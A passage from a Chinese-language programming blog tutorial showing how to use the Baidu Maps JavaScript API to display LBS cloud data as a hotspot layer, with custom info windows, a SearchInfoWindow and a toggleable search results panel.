BMap.NavigationControl()); <span style="color: #008000;">//</span><span style="color: #008000;">添加默认缩放平移控件</span><br/><br/> <span style="color: #0000ff;">var</span><span style="color: #000000;"> customLayer;<br/> </span><span style="color: #0000ff;">function</span><span style="color: #000000;"> addCustomLayer(keyword) {<br/> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (customLayer) {<br/> map.removeTileLayer(customLayer);<br/> }<br/> customLayer </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMap.CustomLayer({<br/> geotableId: </span>59897<span style="color: #000000;">,<br/> q: keyword, </span><span style="color: #008000;">//</span><span style="color: #008000;">检索关键字</span><br/> tags: '', <span style="color: #008000;">//</span><span style="color: #008000;">空格分隔的多字符串</span><br/> filter: '' <span style="color: #008000;">//</span><span style="color: #008000;">过滤条件,参考http://developer.baidu.com/map/lbs-geosearch.htm#.search.nearby</span><br/><span style="color: #000000;"> });<br/> map.addTileLayer(customLayer);<br/> customLayer.addEventListener(</span>'hotspotclick'<span style="color: #000000;">, callback);<br/> }<br/> addCustomLayer(</span>''<span style="color: #000000;">);<br/><br/> </span><span style="color: #0000ff;">function</span> callback(e)<span style="color: #008000;">//</span><span style="color: #008000;">单击热点图层</span><br/><span style="color: #000000;"> {<br/> </span><span style="color: #0000ff;">var</span> customPoi = e.customPoi;<span style="color: #008000;">//</span><span style="color: #008000;">poi的默认字段</span><br/> <span style="color: #0000ff;">var</span> contentPoi = e.content;<span style="color: #008000;">//</span><span style="color: #008000;">poi的自定义字段 </span><br/><span style="color: #000000;"> }<br/></span>&lt;/script&gt;</div><p>代码的js部分,这里有个geotableId的设置,我的LBS上leverterminal的表的ID是59897</p><p><img src="http://images.cnitblog.com/i/377862/201404/181548254007061.png" alt="" /></p><p>OK,默认我们显示所有的这张表上的手机用户信息,F5运行,效果如下</p><p><img src="http://images.cnitblog.com/i/377862/201404/181644221196865.png" alt="" /></p><p>1.2使用 百度API的 信息窗口知识点</p><p>&nbsp; 1.2.1 普通窗口</p><p>&nbsp; &nbsp; &nbsp; 基本上两个窗口,一个基本窗口,还有个点击短信弹窗的窗口</p><p>&nbsp; &nbsp; &nbsp; 效果图:</p><p>&nbsp; &nbsp; &nbsp;&nbsp;<img src="http://images.cnitblog.com/i/377862/201404/181647054785757.gif" alt="" /></p><p>代码:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> <span style="color: #0000ff;">function</span> callback(e)<span style="color: #008000;">//</span><span style="color: #008000;">单击热点图层</span><br/><span style="color: #000000;"> {<br/> </span><span style="color: #0000ff;">var</span> customPoi = e.customPoi;<span style="color: #008000;">//</span><span style="color: #008000;">poi的默认字段</span><br/> <span style="color: #0000ff;">var</span> contentPoi = e.content;<span style="color: #008000;">//</span><span style="color: #008000;">poi的自定义拓展的字段 </span><br/> <span style="color: #0000ff;">var</span> opts = { <span style="color: #008000;">//</span><span style="color: #008000;">发送的短信设置</span><br/> width : 200, <span style="color: #008000;">//</span><span style="color: #008000;"> 信息窗口宽度</span><br/> height: 60, <span style="color: #008000;">//</span><span style="color: #008000;"> 信息窗口高度</span><br/> title : customPoi.title+"["+contentPoi.UserName+"]" , <span style="color: #008000;">//</span><span style="color: #008000;"> 信息窗口标题</span><br/> enableMessage:<span style="color: #0000ff;">true</span>,<span style="color: #008000;">//</span><span style="color: #008000;">设置允许信息窗发送短息</span><br/> message: "我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元"<span style="color: #000000;"><br/> }<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">customPoi JSON格式示例</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">{poiId:160781908,databoxId:"",title:"大美手机连锁",address:"安徽省合肥市蜀山区长江西路286号"</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">,phoneNumber:"",postcode:"",provinceCode:-1,province:"安徽省",cityCode:-1,city:"合肥市",districtCode:-1,district:"蜀山区",</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">point:{lng:117.261589,lat:31.861123,gb:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng},</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">equals:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng}},tags:undefined,typeId:-1,extendedData:{}} </span><br/> <span style="color: #0000ff;">var</span> windowPoint = <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMap.Point(customPoi.point.lng, customPoi.point.lat);<br/> </span><span style="color: #0000ff;">var</span> infoWindow = <span style="color: #0000ff;">new</span> BMap.InfoWindow("我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元&lt;br/&gt;" + "地址:" + customPoi.address, opts); <span style="color: #008000;">//</span><span style="color: #008000;"> 创建信息窗口对象</span><br/> map.openInfoWindow(infoWindow, windowPoint); <span style="color: #008000;">//</span><span style="color: #008000;">开启信息窗口</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">获得窗口的内容的方法 infoWindow.getContent()</span><br/><span style="color: #000000;"><br/><br/> }</span></div><p>&nbsp;</p><p>&nbsp; &nbsp;2.2中等窗口</p><p>&nbsp; &nbsp;其实</p><span>var</span> infoWindow = <span>new</span> BMap.InfoWindow("我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元&lt;br/&gt;" + "地址:" + customPoi.address, opts)<br />的第一个参数内容,是html,所以你可以自定义内容在里面<br />我们修改代码如下<div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> <span style="color: #0000ff;">function</span> callback(e)<span style="color: #008000;">//</span><span style="color: #008000;">单击热点图层</span><br/><span style="color: #000000;"> {<br/> </span><span style="color: #0000ff;">var</span> customPoi = e.customPoi;<span style="color: #008000;">//</span><span style="color: #008000;">poi的默认字段</span><br/> <span style="color: #0000ff;">var</span> contentPoi = e.content;<span style="color: #008000;">//</span><span style="color: #008000;">poi的自定义拓展的字段 </span><br/> <span style="color: #0000ff;">var</span> opts = { <span style="color: #008000;">//</span><span style="color: #008000;">发送的短信设置</span><br/> <span style="color: #008000;">width : 500, // 信息窗口宽度</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">height: 60, // 信息窗口高度</span><br/> title : customPoi.title+"["+contentPoi.UserName+"]" , <span style="color: #008000;">//</span><span style="color: #008000;"> 信息窗口标题</span><br/> enableMessage:<span style="color: #0000ff;">true</span>,<span style="color: #008000;">//</span><span style="color: #008000;">设置允许信息窗发送短息</span><br/> message: "我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元"<span style="color: #000000;"><br/> }<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">customPoi JSON格式示例</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">{poiId:160781908,databoxId:"",title:"大美手机连锁",address:"安徽省合肥市蜀山区长江西路286号"</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">,phoneNumber:"",postcode:"",provinceCode:-1,province:"安徽省",cityCode:-1,city:"合肥市",districtCode:-1,district:"蜀山区",</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">point:{lng:117.261589,lat:31.861123,gb:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng},</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">equals:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng}},tags:undefined,typeId:-1,extendedData:{}} </span><br/> <span style="color: #0000ff;">var</span> simplyText="我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元&lt;br/&gt;" + "地址:" +<span style="color: #000000;"> customPoi.address;<br/> </span><span style="color: #0000ff;">var</span> cusContent = "&lt;h4 style='margin:0 0 5px 0;padding:0.2em 0'&gt;"+ contentPoi.PhoneType + ":" + contentPoi.PhonePrice + "元&lt;/h4&gt;" + <br/> "&lt;img style='float:right;margin:4px' id='lzImg' src='http://pic.cnitblog.com/avatar/377862/20130804124758.png' width='128' height='128' title='aaron yang'/&gt;" + <br/> "&lt;p style='margin:0;line-height:1.5;font-size:13px;text-indent:2em'&gt;"+simplyText+"&lt;/p&gt;" + <br/> "&lt;/div&gt;"<span style="color: #000000;">;<br/><br/> </span><span style="color: #0000ff;">var</span> windowPoint = <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMap.Point(customPoi.point.lng, customPoi.point.lat);<br/> </span><span style="color: #0000ff;">var</span> infoWindow = <span style="color: #0000ff;">new</span> BMap.InfoWindow(cusContent, opts); <span style="color: #008000;">//</span><span style="color: #008000;"> 创建信息窗口对象</span><br/> map.openInfoWindow(infoWindow, windowPoint); <span style="color: #008000;">//</span><span style="color: #008000;">开启信息窗口</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">获得窗口的内容的方法 infoWindow.getContent()</span><br/><span style="color: #000000;"><br/> document.getElementById(</span>'lzImg').onload = <span style="color: #0000ff;">function</span><span style="color: #000000;"> () {<br/> infoWindow.redraw(); </span><span style="color: #008000;">//</span><span style="color: #008000;">防止在网速较慢,图片未加载时,生成的信息框高度比图片的总高度小,导致图片部分被隐藏</span><br/><span style="color: #000000;"> }<br/> }</span></div><p><img src="http://images.cnitblog.com/i/377862/201404/181705384002387.gif" alt="" /></p>2.3 使用百度提供的 infoWindow窗口显示<br />首先引用两个资源<div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> &lt;script type="text/javascript" src="http://api.map.baidu.com/library/SearchInfoWindow/1.5/src/SearchInfoWindow_min.js"&gt;&lt;/script&gt;<br/> &lt;link rel="stylesheet" href="http://api.map.baidu.com/library/SearchInfoWindow/1.5/src/SearchInfoWindow_min.css" /&gt;</div><p>下面的js我们改下,我们要让我们的窗口在maker上打开:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> <span style="color: #0000ff;">function</span> callback(e)<span style="color: #008000;">//</span><span style="color: #008000;">单击热点图层</span><br/><span style="color: #000000;"> {<br/> </span><span style="color: #0000ff;">var</span> customPoi = e.customPoi;<span style="color: #008000;">//</span><span style="color: #008000;">poi的默认字段</span><br/> <span style="color: #0000ff;">var</span> contentPoi = e.content;<span style="color: #008000;">//</span><span style="color: #008000;">poi的自定义拓展的字段 </span><br/><br/> <span style="color: #008000;">/*</span><span style="color: #008000;">简单文本DEMO</span><span style="color: #008000;">*/</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var opts = { //发送的短信设置</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> width : 500, // 信息窗口宽度</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> //height: 60, // 信息窗口高度</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> title : customPoi.title+"["+contentPoi.UserName+"]" , // 信息窗口标题</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> enableMessage:true,//设置允许信息窗发送短息</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> message: "我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元"</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">}</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//customPoi JSON格式示例</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//{poiId:160781908,databoxId:"",title:"大美手机连锁",address:"安徽省合肥市蜀山区长江西路286号"</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//,phoneNumber:"",postcode:"",provinceCode:-1,province:"安徽省",cityCode:-1,city:"合肥市",districtCode:-1,district:"蜀山区",</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//point:{lng:117.261589,lat:31.861123,gb:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng},</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//equals:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng}},tags:undefined,typeId:-1,extendedData:{}} </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> var simplyText="我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元&lt;br/&gt;" + "地址:" + customPoi.address;</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var cusContent = "&lt;h4 style='margin:0 0 5px 0;padding:0.2em 0'&gt;"+ contentPoi.PhoneType + ":" + contentPoi.PhonePrice + "元&lt;/h4&gt;" + </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> "&lt;img style='float:right;margin:4px' id='lzImg' src='http://pic.cnitblog.com/avatar/377862/20130804124758.png' width='128' height='128' title='aaron yang'/&gt;" + </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> "&lt;p style='margin:0;line-height:1.5;font-size:13px;text-indent:2em'&gt;"+simplyText+"&lt;/p&gt;" + </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> "&lt;/div&gt;";</span><br/><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var windowPoint = new BMap.Point(customPoi.point.lng, customPoi.point.lat);</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var infoWindow = new BMap.InfoWindow(cusContent, opts); // 创建信息窗口对象</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">map.openInfoWindow(infoWindow, windowPoint); //开启信息窗口</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//获得窗口的内容的方法 infoWindow.getContent()</span><br/><br/> <span style="color: #008000;">//</span><span style="color: #008000;">document.getElementById('lzImg').onload = function () {</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> infoWindow.redraw(); //防止在网速较慢,图片未加载时,生成的信息框高度比图片的总高度小,导致图片部分被隐藏</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">}</span><br/><br/><br/> <span style="color: #008000;">//</span><span style="color: #008000;">使用infoWindow</span><br/> <span style="color: #0000ff;">var</span> simplyText = "我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元&lt;br/&gt;" + "地址:" +<span style="color: #000000;"> customPoi.address;<br/> </span><span style="color: #0000ff;">var</span> cusContent = "&lt;h4 style='margin:0 0 5px 0;padding:0.2em 0'&gt;"+ contentPoi.PhoneType + ":" + contentPoi.PhonePrice + "元&lt;/h4&gt;" + <br/> "&lt;img style='float:right;margin:4px' id='lzImg' src='http://pic.cnitblog.com/avatar/377862/20130804124758.png' width='128' height='128' title='aaron yang'/&gt;" + <br/> "&lt;p style='margin:0;line-height:1.5;font-size:13px;text-indent:2em'&gt;"+simplyText+"&lt;/p&gt;" + <br/> "&lt;/div&gt;"<span style="color: #000000;">;<br/><br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">创建检索信息窗口对象</span><br/> <span style="color: #0000ff;">var</span> searchInfoWindow = <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMapLib.SearchInfoWindow(map, cusContent, {<br/> title: customPoi.title </span>+ "[" + contentPoi.UserName + "]", <span style="color: #008000;">//</span><span style="color: #008000;">标题</span><br/> width : 300, <span style="color: #008000;">//</span><span style="color: #008000;">宽度</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> height : 105, //高度</span><br/> panel : "panel", <span style="color: #008000;">//</span><span style="color: #008000;">检索结果面板</span><br/> enableAutoPan : <span style="color: #0000ff;">true</span>, <span style="color: #008000;">//</span><span style="color: #008000;">自动平移,开启后视野优化</span><br/><span style="color: #000000;"> searchTypes :[<br/> BMAPLIB_TAB_SEARCH, </span><span style="color: #008000;">//</span><span style="color: #008000;">周边检索</span><br/> BMAPLIB_TAB_TO_HERE, <span style="color: #008000;">//</span><span style="color: #008000;">到这里去</span><br/> BMAPLIB_TAB_FROM_HERE <span style="color: #008000;">//</span><span style="color: #008000;">从这里出发</span><br/><span style="color: #000000;"> ]<br/> });<br/> </span><span style="color: #0000ff;">var</span> windowPoint = <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMap.Point(customPoi.point.lng, customPoi.point.lat);<br/> </span><span style="color: #0000ff;">var</span> marker = <span style="color: #0000ff;">new</span> BMap.Marker(windowPoint); <span style="color: #008000;">//</span><span style="color: #008000;">创建marker对象 </span><br/> searchInfoWindow.open(marker); <span style="color: #008000;">//</span><span style="color: #008000;">在marker上打开检索信息串口</span><br/><span style="color: #000000;"> <br/> }</span></div><p>效果图:</p><p><img src="http://images.cnitblog.com/i/377862/201404/181846161194597.gif" alt="" /></p><p>使用infoWindow,可以自带一些公交等功能,简化了很多步骤,是不是感觉挺好的。</p><p>这些的数据都是来自 LBS云,我们上一课说的存进去的数据,你可以添加更多的数据,这样这里就密密麻麻了,很壮观哦</p><hr /><p>&nbsp;<span style="color: #ff0000; font-size: 16px;"><strong>最后,我们添加一个搜索结果面板,显示地图搜索后的结果:</strong></span></p><span style="color: #ff6600; font-size: 16px;"><strong>页面整体代码如下<em><br /></em></strong></span><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('2c3bed4c-66f1-470c-b37d-5876680bb025')"><div id="cnblogs_code_open_2c3bed4c-66f1-470c-b37d-5876680bb025" class="cnblogs_code_hide">&lt;h1&gt;第三课 POI数据检索-麻点地图&lt;/h1&gt;<br/><span style="color: #000000;">@section BaiduApi{<br/> </span>&lt;script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&amp;ak=你的ak"&gt;&lt;/script&gt;<br/> &lt;script type="text/javascript" src="http://api.map.baidu.com/library/SearchInfoWindow/1.5/src/SearchInfoWindow_min.js"&gt;&lt;/script&gt;<br/> &lt;link rel="stylesheet" href="http://api.map.baidu.com/library/SearchInfoWindow/1.5/src/SearchInfoWindow_min.css" /&gt;<br/><span style="color: #000000;">}<br/></span>&lt;style&gt;<br/> <br/> <br/>&lt;/style&gt;<br/>&lt;br /&gt;<br/>&lt;div&gt;<span style="color: #000000;"><br/> 关键字:</span>&lt;input value="" type="text" width="60" name="keyword" id="keyword" /&gt;Tag:&lt;input value="" type="text" width="20" name="tags" id="tags" /&gt;&lt;button id="search"&gt;立即搜索&lt;/button&gt;<br/>&lt;/div&gt;<br/>&lt;br/&gt;<br/><br/>&lt;div id="allmap" style="overflow:hidden;zoom:1;position:relative;"&gt;<br/> &lt;div id="container" style="width: 100%; height: 600px; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out;"&gt;&lt;/div&gt;<br/> &lt;div id="showPanelBtn" style="position:absolute;font-size:14px;top:50%;margin-top:-95px;right:0px;width:20px;padding:10px 10px;color:#999;cursor:pointer;text-align:center;height:170px;background:rgba(255,255,255,0.9);-webkit-transition: all 0.5s ease-in-out;transition: all 0.5s ease-in-out;font-family:'微软雅黑';font-weight:bold;"&gt;显示检索结果面板&lt;br /&gt;&amp;lt;&lt;/div&gt;<br/> &lt;div id="panelWrap" style="width:0px;position:absolute;top:0px;right:0px;height:100%;overflow:auto;background:#fff;-webkit-transition: all 0.5s ease-in-out;transition: all 0.5s ease-in-out;"&gt;<br/> &lt;div style="width:20px;height:200px;margin:-100px 0 0 -10px;color:#999;position:absolute;opacity:0.5;top:50%;left:50%;"&gt;此处用于展示结果面板&lt;/div&gt;<br/> &lt;div id="panel" style="position:absolute;"&gt;&lt;/div&gt;<br/> &lt;/div&gt;<br/>&lt;/div&gt;<br/><br/><br/>&lt;script type="text/javascript"&gt;<br/> <span style="color: #0000ff;">var</span> map = <span style="color: #0000ff;">new</span> BMap.Map("container"); <span style="color: #008000;">//</span><span style="color: #008000;"> 创建地图实例</span><br/> map.centerAndZoom(<span style="color: #0000ff;">new</span> BMap.Point(117.234963, 31.858815), 15);<span style="color: #008000;">//</span><span style="color: #008000;"> 初始化地图,设置中心点坐标和地图级别 </span><br/><span style="color: #000000;"> map.enableScrollWheelZoom();<br/> map.addControl(</span><span style="color: #0000ff;">new</span> BMap.NavigationControl()); <span style="color: #008000;">//</span><span style="color: #008000;">添加默认缩放平移控件</span><br/><br/> <span style="color: #0000ff;">var</span><span style="color: #000000;"> customLayer;<br/> </span><span style="color: #0000ff;">function</span><span style="color: #000000;"> addCustomLayer(keyword) {<br/> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (customLayer) {<br/> map.removeTileLayer(customLayer);<br/> }<br/> customLayer </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMap.CustomLayer({<br/> geotableId: </span>59897<span style="color: #000000;">,<br/> q: keyword, </span><span style="color: #008000;">//</span><span style="color: #008000;">检索关键字</span><br/> tags: '', <span style="color: #008000;">//</span><span style="color: #008000;">空格分隔的多字符串</span><br/> filter: '' <span style="color: #008000;">//</span><span style="color: #008000;">过滤条件,参考http://developer.baidu.com/map/lbs-geosearch.htm#.search.nearby</span><br/><span style="color: #000000;"> });<br/> map.addTileLayer(customLayer);<br/> customLayer.addEventListener(</span>'hotspotclick'<span style="color: #000000;">, callback);<br/> }<br/> addCustomLayer(</span>''<span style="color: #000000;">);<br/><br/> </span><span style="color: #0000ff;">function</span> callback(e)<span style="color: #008000;">//</span><span style="color: #008000;">单击热点图层</span><br/><span style="color: #000000;"> {<br/> </span><span style="color: #0000ff;">var</span> customPoi = e.customPoi;<span style="color: #008000;">//</span><span style="color: #008000;">poi的默认字段</span><br/> <span style="color: #0000ff;">var</span> contentPoi = e.content;<span style="color: #008000;">//</span><span style="color: #008000;">poi的自定义拓展的字段 </span><br/><br/> <span style="color: #008000;">/*</span><span style="color: #008000;">简单文本DEMO</span><span style="color: #008000;">*/</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var opts = { //发送的短信设置</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> width : 500, // 信息窗口宽度</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> //height: 60, // 信息窗口高度</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> title : customPoi.title+"["+contentPoi.UserName+"]" , // 信息窗口标题</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> enableMessage:true,//设置允许信息窗发送短息</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> message: "我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元"</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">}</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//customPoi JSON格式示例</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//{poiId:160781908,databoxId:"",title:"大美手机连锁",address:"安徽省合肥市蜀山区长江西路286号"</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//,phoneNumber:"",postcode:"",provinceCode:-1,province:"安徽省",cityCode:-1,city:"合肥市",districtCode:-1,district:"蜀山区",</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//point:{lng:117.261589,lat:31.861123,gb:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng},</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//equals:function (a){return a&amp;&amp;this.lat==a.lat&amp;&amp;this.lng==a.lng}},tags:undefined,typeId:-1,extendedData:{}} </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> var simplyText="我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元&lt;br/&gt;" + "地址:" + customPoi.address;</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var cusContent = "&lt;h4 style='margin:0 0 5px 0;padding:0.2em 0'&gt;"+ contentPoi.PhoneType + ":" + contentPoi.PhonePrice + "元&lt;/h4&gt;" + </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> "&lt;img style='float:right;margin:4px' id='lzImg' src='http://pic.cnitblog.com/avatar/377862/20130804124758.png' width='128' height='128' title='aaron yang'/&gt;" + </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> "&lt;p style='margin:0;line-height:1.5;font-size:13px;text-indent:2em'&gt;"+simplyText+"&lt;/p&gt;" + </span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> "&lt;/div&gt;";</span><br/><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var windowPoint = new BMap.Point(customPoi.point.lng, customPoi.point.lat);</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">var infoWindow = new BMap.InfoWindow(cusContent, opts); // 创建信息窗口对象</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">map.openInfoWindow(infoWindow, windowPoint); //开启信息窗口</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">//获得窗口的内容的方法 infoWindow.getContent()</span><br/><br/> <span style="color: #008000;">//</span><span style="color: #008000;">document.getElementById('lzImg').onload = function () {</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> infoWindow.redraw(); //防止在网速较慢,图片未加载时,生成的信息框高度比图片的总高度小,导致图片部分被隐藏</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;">}</span><br/><br/><br/> <span style="color: #008000;">//</span><span style="color: #008000;">使用infoWindow</span><br/> <span style="color: #0000ff;">var</span> simplyText = "我的" + contentPoi.PhoneType + "花了我" + contentPoi.PhonePrice + "元&lt;br/&gt;" + "地址:" +<span style="color: #000000;"> customPoi.address;<br/> </span><span style="color: #0000ff;">var</span> cusContent = "&lt;h4 style='margin:0 0 5px 0;padding:0.2em 0'&gt;"+ contentPoi.PhoneType + ":" + contentPoi.PhonePrice + "元&lt;/h4&gt;" + <br/> "&lt;img style='float:right;margin:4px' id='lzImg' src='http://pic.cnitblog.com/avatar/377862/20130804124758.png' width='128' height='128' title='aaron yang'/&gt;" + <br/> "&lt;p style='margin:0;line-height:1.5;font-size:13px;text-indent:2em'&gt;"+simplyText+"&lt;/p&gt;" + <br/> "&lt;/div&gt;"<span style="color: #000000;">;<br/><br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">创建检索信息窗口对象</span><br/> <span style="color: #0000ff;">var</span> searchInfoWindow = <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMapLib.SearchInfoWindow(map, cusContent, {<br/> title: customPoi.title </span>+ "[" + contentPoi.UserName + "]", <span style="color: #008000;">//</span><span style="color: #008000;">标题</span><br/> width : 300, <span style="color: #008000;">//</span><span style="color: #008000;">宽度</span><br/> <span style="color: #008000;">//</span><span style="color: #008000;"> height : 105, //高度</span><br/> panel : "panel", <span style="color: #008000;">//</span><span style="color: #008000;">检索结果面板</span><br/> enableAutoPan : <span style="color: #0000ff;">true</span>, <span style="color: #008000;">//</span><span style="color: #008000;">自动平移,开启后视野优化</span><br/><span style="color: #000000;"> searchTypes :[<br/> BMAPLIB_TAB_SEARCH, </span><span style="color: #008000;">//</span><span style="color: #008000;">周边检索</span><br/> BMAPLIB_TAB_TO_HERE, <span style="color: #008000;">//</span><span style="color: #008000;">到这里去</span><br/> BMAPLIB_TAB_FROM_HERE <span style="color: #008000;">//</span><span style="color: #008000;">从这里出发</span><br/><span style="color: #000000;"> ]<br/> });<br/> </span><span style="color: #0000ff;">var</span> windowPoint = <span style="color: #0000ff;">new</span><span style="color: #000000;"> BMap.Point(customPoi.point.lng, customPoi.point.lat);<br/> </span><span style="color: #0000ff;">var</span> marker = <span style="color: #0000ff;">new</span> BMap.Marker(windowPoint); <span style="color: #008000;">//</span><span style="color: #008000;">创建marker对象 </span><br/> searchInfoWindow.open(marker); <span style="color: #008000;">//</span><span style="color: #008000;">在marker上打开检索信息串口</span><br/><span style="color: #000000;"> <br/> }<br/> <br/> </span><span style="color: #0000ff;">var</span> isPanelShow = <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">显示结果面板动作</span><br/> $("#showPanelBtn").click(<span style="color: #0000ff;">function</span><span style="color: #000000;"> () {<br/> </span><span style="color: #0000ff;">if</span> (isPanelShow == <span style="color: #0000ff;">false</span><span style="color: #000000;">) {<br/> isPanelShow </span>= <span style="color: #0000ff;">true</span><span style="color: #000000;">;<br/> $(</span>"#showPanelBtn").css({"right":"300px"<span style="color: #000000;">});<br/> $(</span>"#panelWrap").width(300<span style="color: #000000;">);<br/> $(</span>"#map").css({ "margin-right": "300px"<span style="color: #000000;"> });<br/> $(</span>"#showPanelBtn").html("隐藏检索结果面板&lt;br/&gt;&gt;"<span style="color: #000000;">);<br/> } </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> {<br/> isPanelShow </span>= <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/><br/> $(</span>"#showPanelBtn").css({ "right": "0px"<span style="color: #000000;"> });<br/> $(</span>"#panelWrap").width(0<span style="color: #000000;">);<br/> $(</span>"#map").css({ "margin-right": "0px"<span style="color: #000000;"> });<br/> $(</span>"#showPanelBtn").html("显示检索结果面板&lt;br/&gt;&lt;"<span style="color: #000000;">);<br/><br/> }<br/> });<br/> </span><span style="color: #0000ff;">var</span> O2String = <span style="color: #0000ff;">function</span><span style="color: #000000;"> (O) {<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">return JSON.stringify(jsonobj); </span><br/><br/> <span style="color: #0000ff;">var</span> S =<span style="color: #000000;"> [];<br/> </span><span style="color: #0000ff;">var</span> J = ""<span style="color: #000000;">;<br/> </span><span style="color: #0000ff;">if</span> (Object.prototype.toString.apply(O) === '[object Array]'<span style="color: #000000;">) {<br/> </span><span style="color: #0000ff;">for</span> (<span style="color: #0000ff;">var</span> i = 0; i &lt; O.length; i++<span style="color: #000000;">)<br/> S.push(O2String(O[i]));<br/> J </span>= '[' + S.join(',') + ']'<span style="color: #000000;">;<br/> }<br/> </span><span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span> (Object.prototype.toString.apply(O) === '[object Date]'<span style="color: #000000;">) {<br/> J </span>= "new Date(" + O.getTime() + ")"<span style="color: #000000;">;<br/> }<br/> </span><span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span> (Object.prototype.toString.apply(O) === '[object RegExp]' || Object.prototype.toString.apply(O) === '[object Function]'<span style="color: #000000;">) {<br/> J </span>=<span style="color: #000000;"> 